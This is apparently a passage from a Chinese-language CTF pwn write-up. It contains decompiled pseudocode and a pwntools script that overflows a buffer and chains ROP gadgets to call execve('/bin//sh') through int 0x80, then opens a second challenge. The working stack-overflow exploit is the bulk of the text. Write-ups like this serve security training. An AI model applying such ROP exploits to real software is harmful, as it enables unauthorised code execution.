// positive sp value has been detected, the output may be wrong! void __usercall __noreturn start(int a1@<eax>, int a2@<edx>) { int v2; // esi int v3; // [esp-4h] [ebp-4h] BYREF void *retaddr; // [esp+0h] [ebp+0h] BYREF
io.recvuntil("please input what you want say") p = b'a' * (0x68+4) p += pack('<I', 0x0806f83b) # pop edx ; ret p += pack('<I', 0x080eb060) # @ .data p += pack('<I', 0x080b8eb6) # pop eax ; ret p += b'/bin' p += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f83b) # pop edx ; ret p += pack('<I', 0x080eb064) # @ .data + 4 p += pack('<I', 0x080b8eb6) # pop eax ; ret p += b'//sh' p += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f83b) # pop edx ; ret p += pack('<I', 0x080eb068) # @ .data + 8 p += pack('<I', 0x080495a3) # xor eax, eax ; ret p += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080eb060) # @ .data p += pack('<I', 0x080df8bd) # pop ecx ; ret p += pack('<I', 0x080eb068) # @ .data + 8 p += pack('<I', 0x0806f83b) # pop edx ; ret p += pack('<I', 0x080eb068) # @ .data + 8 p += pack('<I', 0x080495a3) # xor eax, eax ; ret p += pack('<I', 0x0807b2f6) # inc eax ; ret p += pack('<I', 0x0807b2f6) # inc eax ; ret p += pack('<I', 0x0807b2f6) # inc eax ; ret p += pack('<I', 0x0807b2f6) # inc eax ; ret p += pack('<I', 0x0807b2f6) # inc eax ; ret p += pack('<I', 0x0807b2f6) # inc eax ; ret p += pack('<I', 0x0807b2f6) # inc eax ; ret p += pack('<I', 0x0807b2f6) # inc eax ; ret p += pack('<I', 0x0807b2f6) # inc eax ; ret p += pack('<I', 0x0807b2f6) # inc eax ; ret p += pack('<I', 0x0807b2f6) # inc eax ; ret p += pack('<I', 0x0806d443) # int 0x80 success("len :"+hex(len(p))) io.sendline(p) io.interactive()
pwn2
还是跟上题一样 保护基本没开 静态编译32位
老规矩 还是跟着start函数索引到main函数
intsub_80488CE() { int v0; // eax char v2; // [esp-Ch] [ebp-24h] int v3; // [esp+Ch] [ebp-Ch]